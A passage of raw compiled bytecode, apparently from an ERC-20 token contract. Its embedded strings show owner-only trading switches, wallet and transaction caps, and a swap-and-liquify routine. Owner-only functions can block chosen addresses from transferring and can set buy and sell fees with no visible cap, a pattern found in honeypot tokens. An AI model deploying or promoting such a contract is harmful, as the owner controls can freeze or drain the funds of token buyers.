2610c1d565b6040516103cf9190613207565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa919061309f565b610c26565b60405161040c91906130fa565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190613222565b610cd2565b005b34801561044a57600080fd5b50610453610da9565b60405161046091906130fa565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b919061324f565b610dbc565b005b34801561049e57600080fd5b506104b960048036038101906104b49190613222565b610e93565b005b3480156104c757600080fd5b506104e260048036038101906104dd919061328f565b611088565b005b3480156104f057600080fd5b5061050b60048036038101906105069190613222565b611155565b604051610518919061317d565b60405180910390f35b34801561052d57600080fd5b5061053661119d565b005b34801561054457600080fd5b5061054d611225565b60405161055a91906132de565b60405180910390f35b34801561056f57600080fd5b5061057861124b565b60405161058591906132de565b60405180910390f35b34801561059a57600080fd5b506105a3611251565b005b3480156105b157600080fd5b506105cc60048036038101906105c7919061309f565b61133a565b005b3480156105da57600080fd5b506105e36114ae565b6040516105f091906132de565b60405180910390f35b34801561060557600080fd5b5061060e6114d8565b60405161061b919061301f565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613441565b61156a565b005b34801561065957600080fd5b5061066261167b565b005b34801561067057600080fd5b5061068b6004803603810190610686919061309f565b61174d565b60405161069891906130fa565b60405180910390f35b3480156106ad57600080fd5b506106b6611841565b6040516106c391906132de565b60405180910390f35b3480156106d857600080fd5b506106f360048036038101906106ee919061309f565b611867565b60405161070091906130fa565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b919061328f565b61187e565b005b34801561073e57600080fd5b506107596004803603810190610754919061328f565b611a0d565b005b34801561076757600080fd5b50610782600480360381019061077d9190613222565b611ada565b60405161078f91906130fa565b60405180910390f35b3480156107a457600080fd5b506107ad611afa565b6040516107ba919061317d565b60405180910390f35b3480156107cf57600080fd5b506107ea60048036038101906107e5919061349d565b611b00565b6040516107f7919061317d565b60405180910390f35b34801561080c57600080fd5b50610815611b87565b604051610822919061317d565b60405180910390f35b34801561083757600080fd5b50610852600480360381019061084d9190613222565b611b8d565b005b34801561086057600080fd5b5061087b60048036038101906108769190613222565b611c64565b005b34801561088957600080fd5b50610892611d5b565b60405161089f919061353c565b60405180910390f35b3480156108b457600080fd5b506108bd611d81565b6040516108ca919061317d565b60405180910390f35b6108db611d87565b73ffffffffffffffffffffffffffffffffffffffff166108f96114ae565b73ffffffffffffffffffffffffffffffffffffffff161461094f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610946906135a3565b60405180910390fd5b620f4240811115610995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098c90613635565b60405180910390fd5b61099d610c1d565b600a6109a991906137b7565b816109b49190613802565b60088190555050565b6060600380546109cc90613873565b80601f01602080910402602001604051908101604052809291908181526020018280546109f890613873565b8015610a455780601f10610a1a57610100808354040283529160200191610a45565b820191906000526020600020905b815481529060010190602001808311610a2857829003601f168201915b5050505050905090565b6000610a63610a5c611d87565b8484611d8f565b6001905092915050565b610a75611d87565b73ffffffffffffffffffffffffffffffffffffffff16610a936114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae0906135a3565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b60085481565b6000600254905090565b6000610b23848484611f58565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b6e611d87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be590613916565b60405180910390fd5b610c0b85610bfa611d87565b8584610c069190613936565b611d8f565b60019150509392505050565b600a5481565b60006012905090565b6000610cc8610c33611d87565b848460016000610c41611d87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cc3919061396a565b611d8f565b6001905092915050565b610cda611d87565b73ffffffffffffffffffffffffffffffffffffffff16610cf86114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d45906135a3565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600760169054906101000a900460ff1681565b610dc4611d87565b73ffffffffffffffffffffffffffffffffffffffff16610de26114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2f906135a3565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e9b611d87565b73ffffffffffffffffffffffffffffffffffffffff16610eb96114ae565b73ffffffffffffffffffffffffffffffffffffffff1614610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f06906135a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7590613a10565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe390613a7c565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611090611d87565b73ffffffffffffffffffffffffffffffffffffffff166110ae6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb906135a3565b60405180910390fd5b81600c6000018190555080600c600101819055507fa2b219a42aa557965901397e42601390282bb6828cabbd7675dca50ba6aa62ca8282604051611149929190613a9c565b60405180910390a15050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111a5611d87565b73ffffffffffffffffffffffffffffffffffffffff166111c36114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611219576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611210906135a3565b60405180910390fd5b611223600061260b565b565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61dead81565b611259611d87565b73ffffffffffffffffffffffffffffffffffffffff166112776114ae565b73ffffffffffffffffffffffffffffffffffffffff16146112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906135a3565b60405180910390fd5b600760169054906101000a900460ff161561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490613b11565b60405180910390fd5b6001600760166101000a81548160ff021916908315150217905550565b611342611d87565b73ffffffffffffffffffffffffffffffffffffffff166113606114ae565b73ffffffffffffffffffffffffffffffffffffffff16146113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad906135a3565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611424576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141b90613ba3565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6114486114ae565b836040518363ffffffff1660e01b8152600401611466929190613bc3565b6020604051808303816000875af1158015611485573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a99190613c01565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546114e790613873565b80601f016020809104026020016040519081016040528092919081815260200182805461151390613873565b80156115605780601f1061153557610100808354040283529160200191611560565b820191906000526020600020905b81548152906001019060200180831161154357829003601f168201915b5050505050905090565b611572611d87565b73ffffffffffffffffffffffffffffffffffffffff166115906114ae565b73ffffffffffffffffffffffffffffffffffffffff16146115e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dd906135a3565b60405180910390fd5b60005b825181101561167657816013600085848151811061160a57611609613c2e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061166e90613c5d565b9150506115e9565b505050565b611683611d87565b73ffffffffffffffffffffffffffffffffffffffff166116a16114ae565b73ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee906135a3565b60405180910390fd5b60004790506117046114ae565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611749573d6000803e3d6000fd5b5050565b6000806001600061175c611d87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611819576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181090613d17565b60405180910390fd5b611836611824611d87565b8585846118319190613936565b611d8f565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611874338484611f58565b6001905092915050565b611886611d87565b73ffffffffffffffffffffffffffffffffffffffff166118a46114ae565b73ffffffffffffffffffffffffffffffffffffffff16146118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f1906135a3565b60405180910390fd5b611902610c1d565b600a61190e91906137b7565b826119199190613802565b600a81905550611927610c1d565b600a61193391906137b7565b8161193e9190613802565b600981905550620f424082101561198a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198190613da9565b60405180910390fd5b620f42408110156119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c790613e3b565b60405180910390fd5b7f202f4712f0dae21d708451caa16ed4b41cb5c9974ab3d34d1f1dc4dfc5a222db8282604051611a01929190613a9c565b60405180910390a15050565b611a15611d87565b73ffffffffffffffffffffffffffffffffffffffff16611a336114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906135a3565b60405180910390fd5b81600e6000018190555080600e600101819055507f7873124e0d91bc71776e2961704366640b879893d05157d7bfa606dd9e58227d8282604051611ace929190613a9c565b60405180910390a15050565b60126020528060005260406000206000915054906101000a900460ff1681565b60095481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60105481565b611b95611d87565b73ffffffffffffffffffffffffffffffffffffffff16611bb36114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c00906135a3565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611c6c611d87565b73ffffffffffffffffffffffffffffffffffffffff16611c8a6114ae565b73ffffffffffffffffffffffffffffffffffffffff1614611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd7906135a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4690613ecd565b60405180910390fd5b611d588161260b565b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df590613f5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6490613ff1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f4b919061317d565b60405180910390a3505050565b60008111611f9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9290614083565b60405180910390fd5b601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561203f5750601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61207e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612075906140ef565b60405180910390fd5b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121225750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561217757600760169054906101000a900460ff16612176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216d9061415b565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122225750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122785750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561231b576009548111156122c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b9906141c7565b60405180910390fd5b600a54816122cf84611155565b6122d9919061396a565b111561231a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231190614233565b60405180910390fd5b5b6000806000612328612efe565b600760149054906101000a900460ff168061238c5750601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123e05750601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123ee576000915061251c565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361248657600e60000154600e60010154612459919061396a565b9350839250600e60405180604001604052908160008201548152602001600182015481525050905061251b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461251a57600c60000154600c600101546124f1919061396a565b9350839250600c6040518060400160405290816000820154815260200160018201548152505090505b5b5b6064838661252a9190613802565b6125349190614282565b9150600760159054906101000a900460ff1680156125a05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b156125b0576125af84826126d1565b5b6125c6878784886125c19190613936565b612875565b6000821115612602576000841115612601576000606485876125e89190613802565b6125f29190614282565b90506125ff883083612875565b505b5b50505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760149054906101000a900460ff16612871576001600760146101000a81548160ff021916908315150217905550600082031561285557600061271430611155565b9050600854811061285357600160085411156127305760085490505b600060028461273f9190613802565b90506000818460200151846127549190613802565b61275e9190614282565b90506000818461276e9190613936565b9050600047905061277e82612ae7565b6000814761278c9190613936565b905060008760200151866127a09190613936565b826127ab9190614282565b905060008860200151826127bf9190613802565b905060008111156127d5576127d48682612d2a565b5b600089600001516002846127e99190613802565b6127f39190613802565b9050600081111561284a5761284981600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e0a90919063ffffffff16565b5b50505050505050505b505b6000600760146101000a81548160ff0219169083151502179055505b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128db90614325565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a906143b7565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156129d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d090614449565b60405180910390fd5b81816129e59190613936565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a75919061396a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ad9919061317d565b60405180910390a350505050565b6000600267ffffffffffffffff811115612b0457612b036132fe565b5b604051908082528060200260200182016040528015612b325781602001602082028036833780820191505090505b5090503081600081518110612b4a57612b49613c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612bf1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c15919061447e565b81600181518110612c2957612c28613c2e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612c9030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d8f565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612cf49594939291906145a4565b600060405180830381600087803b158015612d0e57600080fd5b505af1158015612d22573d6000803e3d6000fd5b505050505050565b612d5730600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d8f565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612dc0969594939291906145fe565b60606040518083038185885af1158015612dde573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612e039190614674565b5050505050565b80471015612e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e4490614713565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612e7390614764565b60006040518083038185875af1925050503d8060008114612eb0576040519150601f19603f3d011682016040523d82523d6000602084013e612eb5565b606091505b5050905080612ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ef0906147eb565b60405180910390fd5b505050565b604051806040016040528060008152602001600081525090565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b612f3f81612f2c565b8114612f4a57600080fd5b50565b600081359050612f5c81612f36565b92915050565b600060208284031215612f7857612f77612f22565b5b6000612f8684828501612f4d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612fc9578082015181840152602081019050612fae565b60008484015250505050565b6000601f19601f8301169050919050565b6000612ff182612f8f565b612ffb8185612f9a565b935061300b818560208601612fab565b61301481612fd5565b840191505092915050565b600060208201905081810360008301526130398184612fe6565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061306c82613041565b9050919050565b61307c81613061565b811461308757600080fd5b50565b60008135905061309981613073565b92915050565b600080604083850312156130b6576130b5612f22565b5b60006130c48582860161308a565b92505060206130d585828601612f4d565b9150509250929050565b60008115159050919050565b6130f4816130df565b82525050565b600060208201905061310f60008301846130eb565b92915050565b61311e816130df565b811461312957600080fd5b50565b60008135905061313b81613115565b92915050565b60006020828403121561315757613156612f22565b5b60006131658482850161312c565b91505092915050565b61317781612f2c565b82525050565b6000602082019050613192600083018461316e565b92915050565b6000806000606084860312156131b1576131b0612f22565b5b60006131bf8682870161308a565b93505060206131d08682870161308a565b92505060406131e186828701612f4d565b9150509250925092565b600060ff82169050919050565b613201816131eb565b82525050565b600060208201905061321c60008301846131f8565b92915050565b60006020828403121561323857613237612f22565b5b60006132468482850161308a565b91505092915050565b6000806040838503121561326657613265612f22565b5b60006132748582860161308a565b92505060206132858582860161312c565b9150509250929050565b600080604083850312156132a6576132a5612f22565b5b60006132b485828601612f4d565b92505060206132c585828601612f4d565b9150509250929050565b6132d881613061565b82525050565b60006020820190506132f360008301846132cf565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61333682612fd5565b810181811067ffffffffffffffff82111715613355576133546132fe565b5b80604052505050565b6000613368612f18565b9050613374828261332d565b919050565b600067ffffffffffffffff821115613394576133936132fe565b5b602082029050602081019050919050565b600080fd5b60006133bd6133b884613379565b61335e565b905080838252602082019050602084028301858111156133e0576133df6133a5565b5b835b8181101561340957806133f5888261308a565b8452602084019350506020810190506133e2565b5050509392505050565b600082601f830112613428576134276132f9565b5b81356134388482602086016133aa565b91505092915050565b6000806040838503121561345857613457612f22565b5b600083013567ffffffffffffffff81111561347657613475612f27565b5b61348285828601613413565b92505060206134938582860161312c565b9150509250929050565b600080604083850312156134b4576134b3612f22565b5b60006134c28582860161308a565b92505060206134d38582860161308a565b9150509250929050565b6000819050919050565b60006135026134fd6134f884613041565b6134dd565b613041565b9050919050565b6000613514826134e7565b9050919050565b600061352682613509565b9050919050565b6135368161351b565b82525050565b6000602082019050613551600083018461352d565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061358d602083612f9a565b915061359882613557565b602082019050919050565b600060208201905081810360008301526135bc81613580565b9050919050565b7f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060008201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e730000602082015250565b600061361f603e83612f9a565b915061362a826135c3565b604082019050919050565b6000602082019050818103600083015261364e81613612565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156136db578086048111156136b7576136b6613655565b5b60018516156136c65780820291505b80810290506136d485613684565b945061369b565b94509492505050565b6000826136f457600190506137b0565b8161370257600090506137b0565b8160018114613718576002811461372257613751565b60019150506137b0565b60ff84111561373457613733613655565b5b8360020a91508482111561374b5761374a613655565b5b506137b0565b5060208310610133831016604e8410600b84101617156137865782820a90508381111561378157613780613655565b5b6137b0565b6137938484846001613691565b925090508184048111156137aa576137a9613655565b5b81810290505b9392505050565b60006137c282612f2c565b91506137cd836131eb565b92506137fa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846136e4565b905092915050565b600061380d82612f2c565b915061381883612f2c565b925082820261382681612f2c565b9150828204841483151761383d5761383c613655565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061388b57607f821691505b60208210810361389e5761389d613844565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613900602883612f9a565b915061390b826138a4565b604082019050919050565b6000602082019050818103600083015261392f816138f3565b9050919050565b600061394182612f2c565b915061394c83612f2c565b925082820390508181111561396457613963613655565b5b92915050565b600061397582612f2c565b915061398083612f2c565b925082820190508082111561399857613997613655565b5b92915050565b7f46656520416464726573732063616e6e6f74206265207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139fa602283612f9a565b9150613a058261399e565b604082019050919050565b60006020820190508181036000830152613a29816139ed565b9050919050565b7f46656520416464726573732063616e6e6f742062652043410000000000000000600082015250565b6000613a66601883612f9a565b9150613a7182613a30565b602082019050919050565b60006020820190508181036000830152613a9581613a59565b9050919050565b6000604082019050613ab1600083018561316e565b613abe602083018461316e565b9392505050565b7f43616e6e6f742072652d656e61626c652074726164696e670000000000000000600082015250565b6000613afb601883612f9a565b9150613b0682613ac5565b602082019050919050565b60006020820190508181036000830152613b2a81613aee565b9050919050565b7f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c60008201527f616e6365206f6620697473206f776e20746f6b656e7300000000000000000000602082015250565b6000613b8d603683612f9a565b9150613b9882613b31565b604082019050919050565b60006020820190508181036000830152613bbc81613b80565b9050919050565b6000604082019050613bd860008301856132cf565b613be5602083018461316e565b9392505050565b600081519050613bfb81613115565b92915050565b600060208284031215613c1757613c16612f22565b5b6000613c2584828501613bec565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613c6882612f2c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613c9a57613c99613655565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613d01602583612f9a565b9150613d0c82613ca5565b604082019050919050565b60006020820190508181036000830152613d3081613cf4565b9050919050565b7f43616e6e6f7420736574204d617857616c6c657420616d6f756e74206c6f776560008201527f72207468656e20302e3125000000000000000000000000000000000000000000602082015250565b6000613d93602b83612f9a565b9150613d9e82613d37565b604082019050919050565b60006020820190508181036000830152613dc281613d86565b9050919050565b7f43616e6e6f7420736574204d6178547820616d6f756e74206c6f77657220746860008201527f656e20302e312500000000000000000000000000000000000000000000000000602082015250565b6000613e25602783612f9a565b9150613e3082613dc9565b604082019050919050565b60006020820190508181036000830152613e5481613e18565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613eb7602683612f9a565b9150613ec282613e5b565b604082019050919050565b60006020820190508181036000830152613ee681613eaa565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613f49602483612f9a565b9150613f5482613eed565b604082019050919050565b60006020820190508181036000830152613f7881613f3c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613fdb602283612f9a565b9150613fe682613f7f565b604082019050919050565b6000602082019050818103600083015261400a81613fce565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061406d602983612f9a565b915061407882614011565b604082019050919050565b6000602082019050818103600083015261409c81614060565b9050919050565b7f596f752063616e2774207472616e7366657220746f6b656e7300000000000000600082015250565b60006140d9601983612f9a565b91506140e4826140a3565b602082019050919050565b60006020820190508181036000830152614108816140cc565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000614145601383612f9a565b91506141508261410f565b602082019050919050565b6000602082019050818103600083015261417481614138565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006141b1601983612f9a565b91506141bc8261417b565b602082019050919050565b600060208201905081810360008301526141e0816141a4565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061421d601a83612f9a565b9150614228826141e7565b602082019050919050565b6000602082019050818103600083015261424c81614210565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061428d82612f2c565b915061429883612f2c565b9250826142a8576142a7614253565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061430f602583612f9a565b915061431a826142b3565b604082019050919050565b6000602082019050818103600083015261433e81614302565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006143a1602383612f9a565b91506143ac82614345565b604082019050919050565b600060208201905081810360008301526143d081614394565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614433602683612f9a565b915061443e826143d7565b604082019050919050565b6000602082019050818103600083015261446281614426565b9050919050565b60008151905061447881613073565b92915050565b60006020828403121561449457614493612f22565b5b60006144a284828501614469565b91505092915050565b6000819050919050565b60006144d06144cb6144c6846144ab565b6134dd565b612f2c565b9050919050565b6144e0816144b5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61451b81613061565b82525050565b600061452d8383614512565b60208301905092915050565b6000602082019050919050565b6000614551826144e6565b61455b81856144f1565b935061456683614502565b8060005b8381101561459757815161457e8882614521565b975061458983614539565b92505060018101905061456a565b5085935050505092915050565b600060a0820190506145b9600083018861316e565b6145c660208301876144d7565b81810360408301526145d88186614546565b90506145e760608301856132cf565b6145f4608083018461316e565b9695505050505050565b600060c08201905